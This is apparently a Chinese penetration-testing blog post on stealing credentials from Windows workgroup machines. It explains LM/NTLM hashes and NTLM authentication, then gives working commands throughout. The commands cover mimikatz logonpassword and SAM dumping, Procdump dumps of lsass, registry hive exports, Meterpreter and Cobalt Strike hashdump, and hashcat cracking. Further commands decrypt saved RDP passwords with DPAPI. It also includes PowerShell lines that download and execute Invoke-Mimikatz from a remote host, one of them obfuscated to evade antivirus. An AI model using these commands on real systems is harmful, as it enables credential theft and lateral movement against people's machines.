工作组密码凭证获取

windows密码凭证获

windwos hash

  1. hash 简介

    这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。

    简单地说,就是将一个任意长度的消息压缩到某个固定的长度的信息摘要的函数

  2. windows hash

    • 简单地说就是windwos用户的密码经过hash加密之后,就被称为windwos hash

    • 对于windows系统来说,现在有两种方式及进行hash

      LAN Manager(LM)哈希和NTLAN(NTLM)哈希

    • 对于最新的windwos系统来说,使用NTLMv2 以及 Kerberos 验证体系

    2000 xp 2003 vista win7 2008 2012
    LM
    NTLM

    对于前面三个系统来说,当密码超过了14位才会使用NTML加密

    用户名称:RID:LM-HASH值:NTLM-HASH值

    test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::

    windwos的系统密码hash默认情况下由两个部分组成目的一个部分是LM-HASH,第二个部分是NTML-HASH

    当LM-HASH是AAD3B435B51404EE(分界符,密码不包含这个)AAD3B435B51404EE表示空密码,或者是未使用NTML-HASH

    windwos hash储存的地方有两个

    对于本机,存储到对应用户的,的文件位置

    C:\windows\system32\config\SAM

    对于域环境来说文件,文件存储在域控上面

    C:\windows\NTDS\NTDS.dit

  3. LM-HASH

LM-HASH 是windows系统使用的第一种密码算法,这个算法由于比较古老了很容易通过暴力破解得到明文凭据

这个密码算法在LAN Manager协议当中使用

一直等到NT LAN Manager(NTML)哈希的出现

使用范围:

windows xp /windows server 2003 之前

从windows vista / windows server 2008开始默认情况下就已经禁用了该算法

LM算法基础是 DES

生成原理

image-20240110194412201

image-20240110194504355

缺点:

  1. 密码长度最大只能为14位

  2. 密码不区分大小写

  3. 如果密码长度小于7,那么密码hash之后是固定的

  4. 一个14个字符的密码分成7+7个字符,并且分别为这两个半部分计算哈希值。这种计算哈希值的方式 使破解难度成倍增加,因为攻击者需要将7个字符(而不是14个字符)强制暴力破解。这使得14个字 符的密码的有效强度等于,或者是7个字符的密码的两倍,该密码的复杂度明显低于14个字符的密码 的理论强度

  5. DES密码强度不高

  6. NTLM-HASH

  7. NT LAN Manager(NTML)

    NT LAN Manager(NTML)hash是Windwos系统认可的算法,取代了老的LM-HASH,一般保存在Security Account Manager(SAM)中

    windows vista/windwos 7/windows server 2008以及后面的系统中,NTML哈希算法默认是启用的

windwos认证基础

  1. windows认证包括三个部分

    • 本地认证:

      用户直接操作计算机登录账户

    • 网络认证

      远程连接到工作组中的某个设备

    • 域认证

      登录到与环境中的某一个设备

  2. 本地认证

    image-20240110205719351

    通过这个图,我们可以知道,我们可以直接从lsass.exe中获取到明文密码

    具体的过程是:

    • 用户输入密码(winlogon.exe)

    • 系统收到密码后将用户的输入的密码算成NTML-HASH

    • 与SAM数据库中的数据对比

      数据库的文件在

      (%SystemRoot%\system32\config\sam)

    • 匹配则登录成功,不匹配则登录失败

    本地认证中用来处理用户输入密码的进程为 lsass.exe ,密码会在这个进程中明文保存,供该进程 将密码计算成 NTLM Hash 与 SAM 进行比对,我们使用 mimikatz 来获取的明文密码,便是在这个进 程中读取到的

  3. 网络认证

    网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制

    image-20240110210245240

    NTML协议的认证过程分为3步,也叫挑战相应机制

    graph TB
    	client(客户端发送用户名)-->server(服务端查询用户是否存在)
    	server-->|没有用户|noUser(认证失败)
    	server-->|存在用户|havaUser(随记生成16位challenge,本地的密码加密,生成challenge1)
    	havaUser-->clientChanlenge(发送未加密的chalenge给client)
    	clientChanlenge-->getChanlenge(使用用户密码NTML Hash对chalenge加密,并将结果发送server)
    	getChanlenge-->exChanllenge(对比)
    	exChanllenge-->|不匹配|noUser
    	exChanllenge-->|客户端返回的结果和server 加密的结果  匹配|ok(认证失败)
    

    A. 协商

    就是讨论使用哪个版本,因为NTML有两个版本

    双方确定使用的协议版本,NTLM 存在V1和V2两个版本,即 Net-NTLM v1 hash、Net-NTLM v2 hash,具体区别就是加密方式不同

    在NTLM认证中,NTLM响应分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不 同格式的Challenge 和加密算法

    B. 质询

    1. 客户端向服务器端发送用户信息(用户名)请求

    2. 服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如 果有,生成一个16位的随机数,被称之为”Challenge”, 然后使用登录用户名对应的NTLM Hash加密 Challenge(16位随机字符), 生成Challenge1保存在内存中。同时,生成Challenge1后,将 Challenge(16位随机字符)明文发送给客户端。

    3. 客户端接受到Challenge后,使用自己提供的账户的密码转换成对应的NTLM Hash,然后使用这个

    NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。

    C. 验证

    在质询完成后,验证结果,是认证的最后一步。

    服务端收到客户端发送的Response后,与之前保存在内存中的Channelge1比较,如果相等认证通过 其中,经过NTLM Hash加密Challenge的结果在网络协议中称之为Net NTLM Hash(不能直接用来

    进行哈希传递攻击,但可以通过暴力破解来获取明文密码)

    其中的关键点在于:第二步中客户端发送的是 NTLM 哈希值与随机字符串加密的结果,而这个 NTLM 哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的 NTLM 哈希即使不知道正确的密码也可通过认证

系统用户凭证获取

前置知识

  1. 用户权限判断

    1
    whoami /all 

    image-20240224003041427

    如果发现这个组并且存在大量的权限的话,那就是完全的管理员权限

  2. 明文密码的提取方式

    明文密码存放在 lsass.exe 的进程的内存中

    当用户输入明文密码 -> lsass.exe 读取这个明文密码存入缓存,也就是进程的堆上面(mimikatz 读取明文密码的方式也是直接读取这个内存的数据)

    这样读取明文密码有两个弊端

    1. 只能读取当前已经登录的用户的密码
    2. 微软已经关闭这个方式,已经不再缓存明文密码

Mimikatz 猕猴桃

这个需要在管理员权限下使用

https://github.com/gentilkiwi/mimikatz

  1. 获取命令

    随便输入一个字符

    image-20240110213933133

  2. 获取模块

    可以输入两个::

    image-20240110213957620

下面以两种模式简绍

  1. 本地交互模式

    建议都先提权

    • 提权

      1
      privilege::debug

      提权到可调式权限

      image-20240110214308301

    • 记录日志

      会记录我们所操作的命令和结果

      1
      log 1.txt

      记录到1.txt

    • 获取密码

      image-20240110214838397

      1
      sekurlsa::logonpasswords

      非交互的

      1
      mimikatz.exe "privilege::debug"  "log 1.txt"  "sekurlsa::logonpasswords"  "exit"
    • 获取NTML hash

      连着一起使用

      1
      2
      3
      4
      token::elevate  # 可以获取system权限
      log res.txt
      lsadump::sam
      lsadump::secrets

      非交互式的

      1
      mimikatz.exe "privilege::debug"  "log 1.txt"  "token::elevate"  "lsadump::sam"  "exit"
  2. powersehll本地执行mimikatz脚本

    1
    2
    3
    powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords"'
    powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'

  3. powersehll远程执行mimikatz脚本

    需要托托管到远程

    1
    2
    3
    powershell IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.81.154:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz –DumpCreds
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz-DumpCreds

  4. powershell 混淆执行

    1
    powershell -c "('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.81'+'.154:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

Procdump+Mimikatz

ProcDump是一个命令行程序,可以很方便地将系统正在运行的进程转存储生成为dump文件,又因为 是微软自家出品,所以可以过很多杀软。

Procdump导出lsass 进程

1
2
3
4
5
# For 32bits:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# For 64bits:
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

使用 mimikatz 还原密码

1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

注册表导出hash

reg save HKLM\SYSTEM system.hiv

reg save HKLM\SAM sam.hiv

reg save HKLM\SECURITY security.hiv

1
mimikatz.exe "lsadump::sam  /system:system.hiv /sam:sam.hiv" "exit"  

Impacket

https://github.com/SecureAuthCorp/impacket/tree/master/examples

1
python3 secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

LaZagne

https://github.com/AlessandroZ/LaZagne

1
2
3
4
5
6
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne/
python3 -m pip install -r requirements.txt
cd Windows/
python3 laZagne.py -h
python3 laZagne.py all

Meterpreter获取Hash

  1. 查询是什么身份

    1
    getuid
  2. 获取hash值

    1
    hashdump

    image-20240112135357843

    可以反映出相关的hash

  3. 提权到system

    1
    getsystem

    image-20240112135605815

  4. 加载猕猴桃模块

    1
    load kiwi

    image-20240112135914371

  5. 获取明文密码

    1
    2
    creds_all
    kiwi_cmd sekurlsa::logonpasswords
  6. 返回之前的权限

    1
    rev2self
  7. 获取sam数据库

    image-20240112140327159

  8. 更加高级的hashdump 模块,用于提高获取hash 的可能性

    1
    run post/windows/gather/smart_hashdump

    但是前提依然是需要高权限才能获取成功

CS 获取hash

主要还是使用 Mimikatz

  1. 获取hash

    1
    hashdump

    image-20240115162931213

  2. 获取密码

    1
    2
    logonpasswords
    mimikatz sekurlsa::logonpasswords

    image-20240115163016831

    image-20240115163108233

  3. 获取sam

    1
    mimikatz lsadump::sam

    image-20240115163155828

  4. cs会自动收录密码凭证

    image-20240115163317507

hash解密

在线解密

https://www.cmd5.com/

MD5免费在线解密破解_MD5在线加密-SOMD5

hashcat

  1. LM hash

    1
    hashcat -a 0 -m 3000 --force 'E52CAC67419A9A224A3B108F3FA6CB6D' password.txt

    -a 0: 指定攻击模式为直接攻击(Straight attack)。
    -m 3000: 指定哈希类型为LM Hash。
    -force: 强制执行,忽略某些警告或错误。
    ‘E52CAC67419A9A224A3B108F3FA6CB6D’:要破解的LM Hash。
    password.txt:包含候选密码的字典文件。

  2. ntml hash

    1
    hashcat -a 0 -m 1000 --force '1F2916B7561885601287D5F693567A34' password.txt

    -a 0:指定攻击模式为直接攻击。
    -m 1000: 指定哈希类型为NTLM Hash。
    -force: 强制执行,忽略某些警告或错误。
    ‘1F2916B7561885601287D5F693567A34’: 要破解的NTLM Hash。
    password.txt: 包含候选密码的字典文件。

其他密码凭证获取

RDP连接密码解密

  1. 查看本地机器本地连接过的目标主机

    1
    reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

    image-20240115154822166

  2. 查看本地用用户此目录下是否存在RDP密码文件

    1
    dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

    image-20240115155014440

  3. 查看保存在本地的远程主机信息

    1
    cmdkey /list
  4. 选择一个密码文件对其进行解密

    在此之前我们必须得先记录一个guidMasterKey 的值,然后要通过guidMasterKey 找对应的 Masterkey

    现在使用使用cs中的mimikatz 进行复现,在cs中使用mimikatz 就直接在前面添加mimikatz 就可以了

    1
    2
    3
    privilege::debug  

    dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E3ADA266

    记录guidMasterKey

    1
    sekurlsa::dpapi

    根据 guidMasterKey 找到对应的 Masterkey

    通过Masterkey解密pbData数据,拿到明文RDP连接密码

    1
    dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E3ADA266/masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5bd7a448c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8

    非交互式

    1
    mimikatz.exe "privilege::debug" "dpapi:cred /in:filepath"

    这里的file path 可以是需要读取的文件路径,比如

    ​ %userprofile%\AppData\Local\Microsoft\Credentials\*

MySQL数据库密码破解

一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途 径来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。 MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文 件读取权限后即可直接从数据库连接文件中读取。一般都包含有数据库类型,物理位置,用户名和密码等信息

MySQL数据库文件类型

“.frm” 是描述表结构的文件 “.MYD” 是表的数据文件 “.MYI” 是表数据文件中任何索引的数据树

一般是单独存在一个文件夹中与用户有关的一共有三个文件即user.frm、user.MYD和user.MYI,MySQL数据库用户密码都保存 在user.MYD文件中,包括root用户和其他用户的密码。

MySQL加密方式

MYSQL数据库的认证密码有两种方式MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密MYSQL数据库中自带 Old_Password(str) 和 Password(str)函数,它们均可以在MYSQL数据库里 进行查询,前者是MYSQL323加密,后者是MYSQLSHA1方式加密。

image-20240115172020746

MYSQL323加密中生成的是16位字符串,而在MYSQLSHA1中生成的是41位字符串,其中*是不加入实 际的密码运算中,MYSQLSHA1加密的密码的实际位数是40位

获取mysql数据库的hash值

只需要将user.MYD文件放进二进制编辑器就可以

image-20240115172204334

然后可以尝试对其解密

hash解密

  1. hash网站

    www.cmd5.com

    www.somd5.com

    image-20240115172347238

  2. hashcat

  3. john the ripper 破解

image-20240115172859541

感觉这个会快很多

应用程序密码解密

对密码已保存在 Windwos 系统上的部分程序进行解析,包括: Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)。

ackBrowserData 是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。

https://github.com/moonD4rk/HackBrowserData


工作组密码凭证获取
https://tsy244.github.io/2024/01/10/渗透/工作组密码凭证获取/
Author
August Rosenberg
Posted on
January 10, 2024
Licensed under